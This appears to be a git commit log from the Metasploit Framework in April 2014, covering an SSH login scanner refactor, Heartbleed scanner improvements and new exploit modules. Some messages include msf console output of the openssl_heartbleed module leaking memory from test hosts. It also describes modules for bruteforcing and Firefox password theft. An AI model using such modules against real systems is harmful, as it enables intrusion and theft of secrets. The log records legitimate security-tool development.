David Maloney 0439569ffb more documentation work
added some more YARD docs
2014-04-22 11:48:14 -05:00
David Maloney a613d044f5 more cleanup work
some code and documentation DRY work
2014-04-22 11:38:24 -05:00
David Maloney 36dd10e1c2 add the renamed spec
renamed spec for credential class
forgot to add it
2014-04-22 11:05:58 -05:00
David Maloney bc092af855 Fix credential docs
expanded return types for the Credential
object to be more accurate
2014-04-22 11:05:12 -05:00
David Maloney b731889c79 add class level documentation
add some comments for YARD to have class
level documentation for each class
2014-04-22 10:59:28 -05:00
Wiesław Kielas 8f6567967d Heartbleed PostgreSQL TLS support improvements 2014-04-22 17:36:06 +02:00
David Maloney 526bb4989a more explicit requires
LoginScanner module brings in all the deps
while the individual classes require
the module then to get their deps.
2014-04-22 10:28:01 -05:00
David Maloney 645eef51b7 Rename CredDetail to Credential
it was felt this was better naming
for the class. Refactored all occurence
2014-04-22 10:25:36 -05:00
Meatballs 86cfecdd95 Shave some chars off compression code 2014-04-22 14:52:30 +01:00
Meatballs 4c66e86f73 Dont add extra space in args 2014-04-22 14:44:01 +01:00
Meatballs 354311d191 No need to out-null if no windows is shown 2014-04-22 14:42:03 +01:00
Meatballs cec12edd99 Use enum integer values 2014-04-22 14:40:32 +01:00
Meatballs 71b43d392b Dont need to specify ASCII mode 2014-04-22 14:36:02 +01:00
Meatballs d73854ff17 Fix wmi and add automatic target 2014-04-22 14:28:27 +01:00
Rick Farina (Zero_Chaos) f35314b9f0 adjust Msf::Util::EXE for newer file output
Newer releases of File have a much different output when given a jar
file. Adjust regex per egyp7's suggestion to close bug 8792 on redmine.

Failure/Error: verify_bin_fingerprint(format_hash, bin)
expected: /zip/i
got: "/dev/stdin: Java archive data (JAR)\n" (using =~)

Tested and confirmed working with file 5.17 on Gentoo Linux.
2014-04-22 02:21:09 -05:00
David Maloney 7d05de935e Merge branch 'staging/electro_release' into feature/ssh_login_scanner 2014-04-21 19:26:49 -05:00
David Maloney f079d3f3a9 move requires into module
move all the requires into the LoginScanner
module area to clean up requires
2014-04-21 19:14:50 -05:00
David Maloney 9c6528f13f use the CredDetail class
now that we have the new CredDetail
class, use it instead of hashes
2014-04-21 18:58:23 -05:00
David Maloney 1a6ef8dced allow for balnk passwords
have to alter validation slightly
to allow for blank passwords
2014-04-21 18:57:28 -05:00
David Maloney fd1777a79f add CredDetail class
rather than passing dumb hashes around
added a CredDetail class that comes
with it's own conditional validations
2014-04-21 18:26:38 -05:00
David Maloney de2bb7d66c dd tests for #scan!
the scan! method is mostly done
and has unit tests
2014-04-21 17:59:50 -05:00
Wiesław Kielas fbe392a896 Add PostgreSQL TLS support to the Heartbleed scanner 2014-04-21 23:27:40 +02:00
David Maloney 2e11f80a98 refactor to use Result class
we now use a Result class to handle
all result codes from the login attempt
2014-04-21 15:35:16 -05:00
David Maloney d313047532 add loginscanner result class
add a result class to have more
tightly defined return values from
the loginscanner classes
2014-04-21 15:11:56 -05:00
William Vu 284b474591 Land #3286, release fixes 2014-04-21 14:03:00 -05:00
Tod Beardsley e514ff3607 Description and print_status fixes for release
@cdoughty-r7, I choose you! Or @wvu-r7.
2014-04-21 14:00:03 -05:00
Ken Smith 66b1c79da9 Update rop chain for versions 6.2 and 6.1 2014-04-21 13:27:14 -04:00
Trenton Ivey c56182a978 Removed an old comment about an added method. Data validation for each wiki type is attempted inline instead of through Rex 2014-04-21 12:26:28 -05:00
JoseMi e25ca64641 It's solved the crash when double-click on the pcap file 2014-04-21 17:49:40 +01:00
David Maloney aa1d1be786 do not create sessions with scanner
the session creation behaviour is
currently inextricably linked to module
behaviour. We will have our scanner class
only return success status. The calling module
will be responsible for opening sessions afterwards.
2014-04-21 11:38:48 -05:00
David Maloney 7571fe1f68 fix host validation
host validation was buggy, fixed it
2014-04-21 11:34:40 -05:00
Christian Mehlmauer b864c4619d msftidy - added info messages
this commit adds info messages to msftidy to show some info,
but stil exit with status 0 if there are not errors.
2014-04-21 18:04:14 +02:00
Trenton Ivey 0b7a2b9cef Added plugin to provide formatted wiki output from the framework database 2014-04-21 11:03:52 -05:00
OJ d8a00603b2 Land #8 - Fix style and yardoc from @jlee-r7 2014-04-21 19:29:09 +10:00
James Lee 49bd86f077 Clean up yardocs and a few style issues 2014-04-21 03:12:23 -05:00
William Vu 1faf069130 Land #3284, deprecated module cleanup 2014-04-20 23:10:55 -05:00
James Lee ee413ac385 Remove previously deprecated modules 2014-04-20 22:15:44 -05:00
Christian Mehlmauer fc803ae277 Changed msftidy check
send_request_raw does not support vars_get so change
the message to switch to send_request_cgi.
See #3272 for more info
2014-04-20 22:41:32 +02:00
AnwarMohamed c586649e01 Merge remote-tracking branch 'upstream/master' 2014-04-20 16:53:02 +02:00
Christian Mehlmauer 1634909975 Bumped ruby version to newest 1.9.3
Otherwise this message is always displayed when entering the folder
ruby-1.9.3-p484 is not installed.
To install do: 'rvm install ruby-1.9.3-p484'

And running up to date software is never a failure (even when
1.9.3 is no longer maintained)
2014-04-20 00:44:48 +02:00
Tom Sellers 2fd004b69e New module: Multiplatform Wireless LAN Geolocation
This is a new POST module that allows Windows, Linux, and OSX targets to be geolocated using Google services if the target has an active and functional wireless adapter.
2014-04-19 17:31:48 -05:00
Meatballs 5d9bc71e97 Update hp_dataprotector 2014-04-19 19:16:17 +01:00
Meatballs 3019cb99c1 Update cmd_upgrade module 2014-04-19 19:13:48 +01:00
Meatballs 00234aeec3 Remove powershell remoting 2014-04-19 19:03:18 +01:00
Meatballs 0f942d8c3d Still :shorten command args 2014-04-19 18:58:26 +01:00
Meatballs c936dc963c Shorten compression 2014-04-19 18:55:45 +01:00
Meatballs 270b4b9728 Catch first arg with shorten 2014-04-19 18:54:42 +01:00
Meatballs 67f44072ca Merge remote-tracking branch 'upstream/master' into pr2075 2014-04-19 18:45:55 +01:00
Meatballs1 ad414b7458 Merge pull request #47 from sempervictus/merge_psh_0414
Merge psh 0414
2014-04-22 13:07:09 +01:00
JoseMi 3861541204 Add more rand_text_alpha functions 2014-04-19 18:37:58 +01:00
JoseMi 7bc546e69a Add rand_text_alpha function 2014-04-19 17:45:28 +01:00
David Maloney 9a15a2be04 basic login attempt functionality
groundowkr now layed for trying
authentication attempts on the
SSH LoginScanner, with test coverage
2014-04-18 20:08:28 -05:00
David Maloney 85349ccec4 SSH connection exception handling
added in the exception handling
around the Net::SSH conenction
in attempt_login
2014-04-18 18:13:05 -05:00
Brandon Turner 97ef53a1d1 Add upper bound for active-* gems
We do not yet support ActiveRecord and ActiveSupport 4.x, so ensure our
Gemfile declares this.
2014-04-18 16:45:07 -05:00
Brandon Turner fda6ed39f2 Land #3278, use renamed bcrypt gem instead of bcrypt-ruby 2014-04-18 16:33:51 -05:00
David Maloney 17b4d4a416 Add more attributes and validations
Added some more attributes neccesary
for the actual running of the login scan
as well as accompanying validations and
specs
2014-04-18 16:23:35 -05:00
Tod Beardsley af19efbd71 Use the new bcrypt gem, not bcrypt-ruby
See the change upstream at:

https://github.com/codahale/bcrypt-ruby/commit/273946f2ba549b9119868331388e8cf30d2af37c

Reported by @ZeroChaos
2014-04-18 15:02:42 -05:00
kenkeiras b8e0187647 Use OptPath for file path options 2014-04-18 21:56:17 +02:00
kenkeiras fb0af8a799 Remove unnecesary ssh_socket variable 2014-04-18 21:50:54 +02:00
kenkeiras c875bdadf5 Change THRESHOLD into a datastore option 2014-04-18 21:18:48 +02:00
kenkeiras 8a3329c891 Password made pseudo-random instead of a bunnch of A's 2014-04-18 21:10:34 +02:00
kenkeiras 47ff820a83 Remove unnecesary 'RHOST' deregister 2014-04-18 21:06:46 +02:00
kenkeiras cc2d4f9ed7 Remove unnecesary @good_credentials 2014-04-18 21:03:22 +02:00
JoseMi feea4c1fa6 ROP chain changed 2014-04-18 19:05:53 +01:00
William Vu 7d801e3acc Land #3200, goodbye LORCON modules :( 2014-04-18 12:32:22 -05:00
David Maloney 613612eecb Merge branch 'master' into feature/ssh_login_scanner 2014-04-18 11:16:18 -05:00
sinn3r 32293dfdab Land #3277 - Be very clear about Redmine's existence 2014-04-18 10:31:16 -05:00
Tod Beardsley fe86886c29 Be very clear about Redmine's existence. 2014-04-18 10:01:54 -05:00
jvazquez-r7 c4d4af031c Land #3276, @todb-r7's "make msftidy happy"'s fix 2014-04-18 09:54:52 -05:00
jvazquez-r7 5083143971 Land #3238, @Zinterax's timeout addition in openssl_heartbleed 2014-04-18 09:28:04 -05:00
Tod Beardsley 2a729c84f6 Fix disclosure date 2014-04-18 09:27:41 -05:00
jvazquez-r7 8a011ec9f6 Land #3197, @0x3fcoma's module for CVE-2013-5795 and CVE-2013-5880 2014-04-18 08:58:54 -05:00
jvazquez-r7 f3299e3ced Do minor code cleanup 2014-04-18 08:58:11 -05:00
Zinterax c68b7aa18f Merge pull request #1 from jvazquez-r7/review_3238
Clean timeout handling code
2014-04-18 09:50:33 -04:00
jvazquez-r7 2366f77226 Clean timeout handling code 2014-04-18 08:16:28 -05:00
Zinterax e38f4cbfa0 Apply response_timeout to get_once, code cleanup
Add response_timeout to get_once

Change timeout output in establish_connect()

Add disconnect ater timeout output

Made establish_connect timeout check more readable
2014-04-18 07:57:33 -04:00
Zinterax fab091ca88 Fix Action => DUMP
Fix for when Action is set to DUMP. Modifed the check to use action.name.

Console output:

msf auxiliary(openssl_heartbleed) > set action DUMP
action => DUMP
msf auxiliary(openssl_heartbleed) > run

[*] 192.168.1.3:443 - Sending Client Hello...
[*] 192.168.1.3:443 - Sending Heartbeat...
[*] 192.168.1.3:443 - Heartbeat response, 17403 bytes
[+] 192.168.1.3:443 - Heartbeat response with leak
[*] 192.168.1.3:443 - Heartbeat data stored in /root/.msf4/loot/20140418070745_default_192.168.1.3_openssl.heartble_135938.bin
[*] 192.168.1.3:443 - Printable info leaked: STUFF STUFF STUFF
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
2014-04-18 07:08:12 -04:00
Zinterax 1cf1616341 Rebase. Add timeout option support
Rebase to account for the KEYS merge.

Modify bleed() to work with timeout option.

Modify establish_connect() to work with timeout option.

Modify loot_and_report() to work with timeout option.

---Test Console Output---

Client Hello Timeout:

msf auxiliary(openssl_heartbleed) > run

[*] 127.0.0.1:443 - Sending Client Hello...
[-] 127.0.0.1:443 - No Client Hello response after 10 seconds...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Patched Apache:

msf auxiliary(openssl_heartbleed) > run

[*] 127.0.0.1:443 - Sending Client Hello...
[*] 127.0.0.1:443 - Sending Heartbeat...
[-] 127.0.0.1:443 - No Heartbeat response...
[-] 127.0.0.1:443 - Looks like there isn't leaked information...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Vulnerable Server:

msf auxiliary(openssl_heartbleed) > run

[*] 192.168.1.3:443 - Sending Client Hello...
[*] 192.168.1.3:443 - Sending Heartbeat...
[*] 192.168.1.3:443 - Heartbeat response, 17403 bytes
[+] 192.168.1.3:443 - Heartbeat response with leak
[*] 192.168.1.3:443 - Printable info leaked: STUFF STUFF STUFF
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
2014-04-18 07:04:05 -04:00
Zinterax 021ac53911 remove me 2014-04-18 07:03:36 -04:00
Christian Mehlmauer bbed9f4c66 Land #3274, @jjarmoc heartbleed private key extraction 2014-04-18 06:59:10 +02:00
jvazquez-r7 b0e4648d66 Land #2895, @dukebarman's exploit for Flash CVE-2013-0634 2014-04-17 23:35:05 -05:00
jvazquez-r7 acb12a8bef Beautify and fix both ruby an AS 2014-04-17 23:32:29 -05:00
RageLtMan 9f05760c50 Merge with Meatballs' initial changes
Clean up arch detection code and dedup Msf/Rex
Reduce generated payload size
2014-04-18 00:28:48 -04:00
RageLtMan 5c3289bbc6 merge fix 2014-04-17 21:26:04 -04:00
Jonathan Claudius 01d843f78f Handle certificate auth nuances 2014-04-17 20:24:19 -04:00
Jeff Jarmoc 94618455b7 Merge pull request #1 from todb-r7/land-3274-rsa-keydump
Deconflict after #3252
2014-04-17 18:53:42 -05:00
Jonathan Claudius 6daae961cb Add parameterized requests for detection/enumeration 2014-04-17 19:40:27 -04:00
Tod Beardsley 845108acf6 Looks like an autocorrect ran wild on TLS_CALLBACK
Whoops.
2014-04-17 17:47:47 -05:00
Tod Beardsley 2aa2cb17f3 Reimplement a check. 2014-04-17 17:10:54 -05:00
Tod Beardsley d40ab039e4 Clean up whitespace. Protip: use commit hooks 2014-04-17 16:28:07 -05:00
Tod Beardsley c34d548e50 First, undo #3252. Sorry about that.
undo #3252 completely. This means a reimplementation of @dchan's work,
but his intent was simply to implement a check_host() that doesn't
actually pull memory, so that should be pretty straight forward with the
new structure of the module.
2014-04-17 16:25:15 -05:00
Jeff Jarmoc e3daf6daf7 Singular 'TLS_CALLBACK' option 2014-04-17 15:51:37 -05:00
Jeff Jarmoc 6c832e22d6 rename scan to loot_and_report 2014-04-17 15:47:57 -05:00
Jeff Jarmoc c12eae66b3 Error and return if public key wasn't retrieved. 2014-04-17 15:44:40 -05:00
Jeff Jarmoc 578002e016 KEYS action gets it's own function 2014-04-17 15:39:05 -05:00
Tod Beardsley 5b0b5d9476 Land #3252, check() functionality for Heartbleed 2014-04-17 15:34:35 -05:00
Tod Beardsley a2d6c58374 Changing << to + per @jlee-r7 2014-04-17 15:34:13 -05:00
jvazquez-r7 91d9f9ea7f Update from master 2014-04-17 15:32:49 -05:00
jvazquez-r7 749e141fc8 Do first clean up 2014-04-17 15:31:56 -05:00
Jeff Jarmoc 9f30976b83 Heartbleed RSA Keydump
Flattened, merge conflicts resolved, etc.
2014-04-17 14:30:47 -05:00
Jonathan Claudius 7ddd93cf5d Add redirect support to #is_app_ssl_vpn? 2014-04-17 12:06:29 -04:00
Jonathan Claudius 0c5fb8c0c2 Fix bug in group enumeration regex 2014-04-17 10:31:05 -04:00
Christian Mehlmauer 71a650fe6e Land #3259, XMPP Hostname autodetect by @TomSellers 2014-04-17 08:54:15 +02:00
Tom Sellers 1f452aab48 Code cleanup
Changes requested by wvu-R7
2014-04-17 12:46:25 -05:00
Tom Sellers 9e2285619e Additional cleanup
Whitespace cleanup
2014-04-17 10:46:33 -05:00
Joe Vennix 8920e0cc80 Use octal encoding and -e, so that echo always works. 2014-04-17 01:17:46 -05:00
Jonathan Claudius f53e7f84b8 Adds Cisco SSL VPN Bruteforce Aux Mod 2014-04-16 22:47:58 -04:00
James Lee af899254a3 Missed file 2014-04-16 19:14:17 -05:00
James Lee 549e306572 Remove superfluous v6 http{,s} payload and handler 2014-04-16 18:32:35 -05:00
Tom Sellers ee0d30a1f3 Whitespace fix
Removing extra line feeds
2014-04-16 17:27:39 -05:00
Tom Sellers 92eab6c54b Attribution addition
Per comment from Firefart
2014-04-16 17:26:09 -05:00
Samuel Huckins 2ed7a739c3 New reports in new exports can now import
MSP-9783

* Extracted import_report from monstrous import_msf_collateral;
simplified and clarified approach
* Updated report_report: includes all attrs provided vs subset, provides
more helpful error message
* Added report_artifact: adds child artifact for reports, handles
various troublesome cases
* Tested on all report types with a legion of option variants
2014-04-16 15:15:47 -05:00
David Maloney 756488b581 last of the validations
finalized validation for SSH lgoinscanner
2014-04-16 13:34:23 -05:00
David Maloney bf20ed5812 add validations for cred_details
Adds validator for the cred_details
attribute on the SSH Login Scanner.
Makes sure propper input is always supplied
for the scanner.
2014-04-16 13:20:14 -05:00
David Maloney 434391c308 add host validations to ssh scanner
add validations to the :host attribute
on the SSH LoginScanner
2014-04-16 10:26:00 -05:00
Tom Sellers 1f3ec46b8a Heartbleed - Add autodetection of XMPP hostname (round 2)
Add the ability to scrape the hostname from the XMPP error message when connecting to an XMPP (Jabber) server. This allows the connection to get far enough to negotiate a TLS tunnel with STARTTLS. The manually specified domain, if present, will be used first and then the hostname autodetection will kick in if that fails.

This version addresses issues that FireFart (Thanks!) brought up about code quality and connection reliability.
2014-04-16 08:49:45 -05:00
sinn3r 54346f3f92 Land #3265 - Windows Post Manage Change Password 2014-04-15 18:45:48 -05:00
sinn3r d7a63003a3 Land #3266 - MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free 2014-04-15 18:35:18 -05:00
sinn3r 23c2a071cd Small name change 2014-04-15 18:35:00 -05:00
sinn3r 7a4e12976c First little bit at Bug 8498
[FixRM #8489] rhost/rport modification
2014-04-15 18:20:16 -05:00
sinn3r d7513b0eb2 Handle nil properly when no results are found 2014-04-15 18:19:29 -05:00
jvazquez-r7 abd76c5000 Add module for CVE-2014-0322 2014-04-15 17:55:24 -05:00
David Maloney 60c879c824 specs for port validation
created specs for port validation

MSP-9683
2014-04-15 17:25:55 -05:00
David Maloney 02a17b8612 namespace change to Metasploit
chaning the code to live in the namespace of
Metasploit::Framework instead of Msf::Auxiliary

MSP-9683
2014-04-15 17:11:25 -05:00
Meatballs 38d8df4040 Merge remote-tracking branch 'upstream/master' into pr2075
Conflicts:
	modules/exploits/windows/local/wmi.rb
2014-04-15 22:06:45 +01:00
Meatballs 5bd9721d95 Redundant include 2014-04-15 21:34:21 +01:00
Meatballs 02b11afddc Merge remote-tracking branch 'upstream/master' into netapi_change_passwd
Conflicts:
	lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb
2014-04-15 21:23:45 +01:00
Meatballs bd9b5add49 Dont report creds
We dont know if a DOMAIN or IP is specified etc.
2014-04-15 21:14:49 +01:00
Meatballs fc018eb32e Initial commit 2014-04-15 21:05:06 +01:00
Christian Mehlmauer 56b165d4bd Land #3263, updated vars_get msftidy regex by @wvu-r7 2014-04-15 21:53:10 +02:00
William Vu aeedad262d Remove unnecessary charclass escapes 2014-04-15 14:14:51 -05:00
David Maloney 3c9507c30c Adds invalid exception class
adds an invalid exception class to the
LoginScanner namespace.

MSP-9683
2014-04-15 13:23:24 -05:00
William Vu 261572158b Add paren to list of exclusion chars 2014-04-15 11:20:11 -05:00
William Vu 14c7eb19e6 Make the hash brace optional 2014-04-15 10:06:43 -05:00
Tod Beardsley f46b4ab8f3 Land #3258, undoing the aggressive vars_post check 2014-04-14 22:30:04 -05:00
Tod Beardsley 0b2737da7c Two more java payloads that wanted to write RHOST
There are three total, and they're all copy-pasted from the original
module from 2009. I suspect this idiom isn't used at all any more -- I
can't detect a difference in the payload if I just declare a host being
cli.peerhost, rather than rewriting RHOST to be cli.peerhost.

[SeeRM #8498]
2014-04-14 22:22:30 -05:00
Tod Beardsley 775b0de3c0 Replace RHOST reassing with just host
This looks okay from debug (the host looks like it's generating okay)
but there may be some subtle thing I'm not seeing here. @wchen-r7 can
you glance at this please?

[SeeRM #8498]
2014-04-14 22:17:31 -05:00
Tod Beardsley 9db01770ec Add custom rhost/rport, remove editorializing desc
Verification:

````
resource (./a.rc)> run
[*] Connecting to FTP server ....
[*] FTP recv: "220 ProFTPD 1.3.3a Server (My FTP server)
[*] Connected to target FTP server.
[*] Authenticating as anonymous with password mozilla@example.com...
[*] FTP send: "USER anonymous\r\n"
[*] FTP recv: "331 Anonymous login ok, send your complete email address
as your password\r\n"
````

...etc.
2014-04-14 21:46:05 -05:00
Tod Beardsley 40a359f312 Include a vhost for Shodan or else it complains
Works now. The rhost option was not keeping the custom vhost option.

````
msf auxiliary(shodan_search) > rexploit
[*] Reloading module...

[*] Total: 13443 on 269 pages. Showing: 1
[*] Country Statistics:
[*] United States (US): 2006
[*] Germany (DE): 1787
[*] Korea, Republic of (KR): 1061
[*]     Italy (IT): 916
[*] Hungary (HU): 604
[*] Collecting data, please WaitUntilAuthEmptyt...

IP Results
==========
````
2014-04-14 21:23:27 -05:00
Tod Beardsley 1436f68955 Fix shodan to not muck with datastore 2014-04-14 21:21:11 -05:00
Tod Beardsley 9035d1523d Update wol.rb to specify rhost/rport directly
- [ ] Fire up tcpdump on the listening interface
 - [ ] Run the module and see the pcap:

listening on vmnet8, link-type EN10MB (Ethernet), capture size 65535
bytes
20:56:02.592331 IP 192.168.145.1.41547 > 255.255.255.255.9: UDP, length
102
2014-04-14 20:57:20 -05:00
Tom Sellers 0360d1177f Heartbleed - Add autodetection of XMPP hostname
Add the ability to scrape the hostname from the XMPP error message when connecting to an XMPP (Jabber) server.  This allows the connection to get far enough to negotiate a TLS tunnel with STARTTLS.  The manually specified domain, if present, will be used first and then the hostname autodetection will kick in if that fails.
2014-04-14 20:09:21 -05:00
Thanat0s 07ed8d832a Update db 2014-04-15 02:48:55 +02:00
David Chan 1a73206034 Add detection for GnuTLS with with multiple records 2014-04-14 17:09:25 -07:00
Thanat0s fecdbd1781 F5 bigip cookie module 2014-04-15 01:11:17 +02:00
Tod Beardsley e4a61e2730 Fix Module.new bug and test for vhost 2014-04-14 18:01:13 -05:00
William Vu 66cc050876 Land #3256, SMTP RFC compliance for Heartbleed 2014-04-14 17:52:56 -05:00
William Vu f3f31005d8 Revert inadvertent fix for vars_get in msftidy 2014-04-14 14:51:52 -05:00
William Vu 0a4c10876d Land #3257, errant whitespace fix 2014-04-14 14:33:04 -05:00
Thanat0s 176204d62d With implemented remarks 2014-04-14 21:11:04 +02:00
Tod Beardsley 66a50b33fd Errant whitespace 2014-04-14 13:34:39 -05:00
Tom Sellers 634a03a852 Update to openssl_heartbleed to deal with SMTP RFC
Added CR character in order to have the commands match SMTP RFC 5321 2.3.8 for line termination. Some SMTP services, such as the Symantec Mail Gateway, require strict compliance or the connection will be dropped with the response  '550 esmtp: protocol deviation'

Reference:
   http://www.symantec.com/business/support/index?page=content&id=TECH96829
   http://tools.ietf.org/html/rfc5321#section-2.3.8
2014-04-14 13:27:33 -05:00
sinn3r 1f5f697037 Land #3255 - Adds history collection module for FF privileged JS 2014-04-14 12:45:03 -05:00
joev 5f0d723588 Adds history collection module for FF privileged JS. 2014-04-14 12:27:18 -05:00
sinn3r 61196b4793 Land #3246 - Firefox Gather Passwords from Privileged Javascript Shell 2014-04-14 11:37:55 -05:00
David Maloney c537aebf0f Land #3228, JtR colon Seperation 2014-04-14 11:19:16 -05:00
David Maloney 5074529647 Land #3253, Fix to exe-only format
Lands pull request to fix nil issue with
the to_winpe_only method call in Msf::Util::EXE
2014-04-14 11:04:03 -05:00
Tod Beardsley 2aecab89bb 14-day free trial banner for non-binary installs 2014-04-14 11:00:41 -05:00
JoseMi e811e169dc Cambios en el exploit 2014-04-14 16:31:54 +01:00
JoseMi da26a39634 Add CVE-2014-2219 exploit for windows XP SP3 2014-04-14 16:16:10 +01:00
agix ac63e84d02 Fix little bug when using msfencode and exe-only
When arch is not defined, arch is null so it crashs.
It should be 'x86' by default
2014-04-14 01:02:31 +02:00
Thanat0s dd7bceee56 fix threaded issues 2014-04-12 17:43:39 +02:00
Thanat0s d493c48cc6 add thottling,notes insert and output to dns_rev_lookup 2014-04-12 16:36:18 +02:00
Ramon de C Valle 039946e8d1 Use the first cipher suite sent by the client
If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the
first cipher suite sent by the client. This complements the last commit
and makes this module work with SSLv3, TLSv1.0, TLSv1.1, and TLSv1.2
when NEGOTIATE_TLS is not enabled (see
https://gist.github.com/rcvalle/10335282).
2014-04-12 05:05:14 -03:00
Ramon de C Valle b95fcb9610 Use the protocol version sent by the client
Use the protocol version sent by the client. This should be the latest
version supported by the client, which may also be the only acceptable.
This makes this module work with SSLv3, TLSv1.0, TLSv1.1, and TLSv1.2
when NEGOTIATE_TLS is not enabled (see
https://gist.github.com/rcvalle/10335282).
2014-04-12 04:21:35 -03:00
David Chan 6fafc10184 Add HeartBleed check functionality 2014-04-12 00:07:00 -07:00
sinn3r 7b6b94acd5 Land #3247 - Revert #3224 jsobfu string size fixes 2014-04-12 00:58:27 -05:00
joev 1715cf4650 Add base64 to prevent potential encoding issues. 2014-04-11 17:30:04 -05:00
joev e09f887c4c Revert "Fixes large-string expansion in JSObfu."
This reverts commit 14fed8c610.
2014-04-11 16:51:47 -05:00
joev 4cb04b6b9a Revert "Use implicit return for assignment."
This reverts commit 49139cc07f.
2014-04-11 16:51:40 -05:00
joev 21b2697b95 Revert "Use tiny var names by default."
This reverts commit 52432ef482.
2014-04-11 16:51:34 -05:00
joev 0b23fc2c40 Revert "Use actual vars so that jsobfu can randomize."
This reverts commit b9284c5635.
2014-04-11 16:51:29 -05:00
joev d41b3467f8 Revert "Re-add the #random_string(len) method to pass specs."
This reverts commit bd8918e4e1.
2014-04-11 16:51:21 -05:00
joev 65d267032d Fix wrong DisclosureDate. 2014-04-11 16:17:22 -05:00
joev 197a7e556b Add password colletion post module for Firefox shells. 2014-04-11 16:15:48 -05:00
David Maloney 3742d9b687 tabassassin to the rescue
because we pulled in the new metasm repo,
retabbed everything to avoid whitespace conflicts
2014-04-11 15:19:16 -05:00
William Vu 6599999b8a Land #3232, Heartbleed memory dump filtering 2014-04-11 12:46:01 -05:00
Sebastiano Di Paola a63f020a68 Fixing coding style 2014-04-11 19:39:57 +02:00
Sebastiano Di Paola 3a41819b1f Merge branch 'master' of https://github.com/abes975/metasploit-framework into heartbleed 2014-04-11 19:34:45 +02:00
Sebastiano Di Paola 4acacb005d Fixed a bug...referring to wrong variable after filtering with regexp 2014-04-11 19:33:23 +02:00
Sebastiano Di Paola 9cbb86a815 fixed conflict while merging from heartbleed branch 2014-04-11 19:28:32 +02:00
Sebastiano Di Paola 83fe1cec65 Cleaned up Array.join call 2014-04-11 19:24:32 +02:00
Sebastiano Di Paola 55ec969bd9 Renamed FILTER -> DUMPFILTER, more intuitive and coherent 2014-04-11 19:07:57 +02:00
Sebastiano Di Paola 8268009b36 Renamed PATTERN_FILTER -> FILTER 2014-04-11 19:03:25 +02:00
Sebastiano Di Paola c378fe95c1 Added missing space in comment 2014-04-11 19:01:01 +02:00
Sebastiano Di Paola f8f710547c Fixed call to String.match with regexp pattern 2014-04-11 18:59:59 +02:00
Sebastiano Di Paola 638cb41a3f Remove Spaces at EOL, fixed if test on pattern variable 2014-04-11 18:58:05 +02:00
Sebastiano Di Paola 5f973558ce Merge branch 'master' of https://github.com/abes975/metasploit-framework
Conflicts:
	modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
2014-04-11 18:38:59 +02:00
Sebastiano Di Paola ea70abe98d Conflicts resolution should be ok now 2014-04-11 18:33:03 +02:00
Sebastiano Di Paola cc836c0496 Restored FTP option 2014-04-11 18:31:30 +02:00
Sebastiano Di Paola 39320f12a7 - Rubbish that was left dangling here around 2014-04-11 18:31:30 +02:00
Sebastiano Di Paola 139358dc8a fixed conflicts, used OptRegexp for pattern 2014-04-11 18:31:29 +02:00
Sebastiano Di Paola 9331f88dd8 Added feature to dump to file leaked memory 2014-04-11 18:31:29 +02:00
Sebastiano Di Paola 34fa4e29d9 Restored FTP option 2014-04-11 18:16:19 +02:00
Sebastiano Di Paola eb0e35bf25 Fixed store on file option 2014-04-11 18:07:14 +02:00
sinn3r b69662fa42 Land #3233 - eScan Password Command Injection 2014-04-11 11:05:48 -05:00
sinn3r e54a348bd4 Land #3237 - Reconcile test_old_rubies with the other checks 2014-04-11 10:49:23 -05:00
sinn3r eb8e9523ff Land #3236 - Correct check_vars_get to check_request_vars 2014-04-11 10:47:59 -05:00
jvazquez-r7 0c8f5e9b7d Add @Firefart's feedback 2014-04-11 10:21:33 -05:00
Sebastiano Di Paola c4029ea582 - Rubbish that was left dangling here around 2014-04-11 17:20:54 +02:00
Sebastiano Di Paola 1808fe470a fixed conflicts, used OptRegexp for pattern 2014-04-11 17:16:06 +02:00
Sebastiano Di Paola 4315ad2987 Fixed conflict and used OptRegexp type for pattern 2014-04-11 17:15:39 +02:00
jvazquez-r7 813e0eab89 Land #3233, @wvu-r7's improvements fort heartbleed modules 2014-04-11 09:33:57 -05:00
jvazquez-r7 e2ec53272e Fix also negative numbers 2014-04-11 09:33:27 -05:00
Ken Smith c99f6654e8 Added target 6.1 to module 2014-04-11 09:59:11 -04:00
jvazquez-r7 fb5881d8e2 Land #2324, @sensepost and @Firefart's sftp support for heartbleed 2014-04-11 08:47:22 -05:00
jvazquez-r7 1cb1d4d5ff Land #3230, @Firefart's improve for jabber's starttls 2014-04-11 08:21:41 -05:00
jvazquez-r7 2134d676b4 Use verbose by default 2014-04-11 07:58:56 -05:00
William Vu 8919e21379 Reconcile test_old_rubies with the other checks
It is now check_old_rubies.
2014-04-10 21:44:00 -05:00
William Vu df29578036 Correct check_vars_get to check_request_vars
Since check_vars_get also checked for POSTs.
2014-04-10 21:37:59 -05:00
Spencer McIntyre 1f6bdabfe6 Land #3231, link exploit requirement details 2014-04-10 22:27:42 -04:00
Tod Beardsley 56662bd89b Correct corpwatch_lookup_name datastore usage
[SeeRM #8498]
2014-04-10 16:56:55 -05:00
Tod Beardsley 06dedeec8f Update corpwatch_lookup_id to run correctly
[SeeRM #8498]
2014-04-10 16:52:34 -05:00
Tod Beardsley 91293fd0db Allow vhost to be maybe opts['rhost']
This enables passing rhost and rport directly to send_request_cgi
without having to monkey with the datastore.

See #8498
2014-04-10 16:47:49 -05:00
William Vu 6675464c20 Fix a few things in the Heartbleed modules 2014-04-10 16:06:40 -05:00
Sebastiano Di Paola 9adf629ee7 Added feature to dump to file leaked memory 2014-04-10 22:51:07 +02:00
David Maloney c000e418ab Pull in more 64bit compiler fixes
this fixes issues with comparison operations
when compilnig C in metasm for 64bit
2014-04-10 14:46:46 -05:00
sinn3r 80faaf86d8 Add a link to explain about unmet exploit requirements 2014-04-10 14:01:16 -05:00
sinn3r a6a6ad2217 Land #3227 - Remove bundled rkelly, to Gemfile 2014-04-10 12:31:59 -05:00
sinn3r 68a50e3663 Land #3224 - Fixes large-string expansion in JSObfu 2014-04-10 12:09:22 -05:00
Tod Beardsley bc5f87b01a Land #3195, check() fix 2014-04-10 08:59:53 -05:00
Brandon Turner 9ca3d95980 Merge branch release into master
This resync's release and master after cherry-picking the
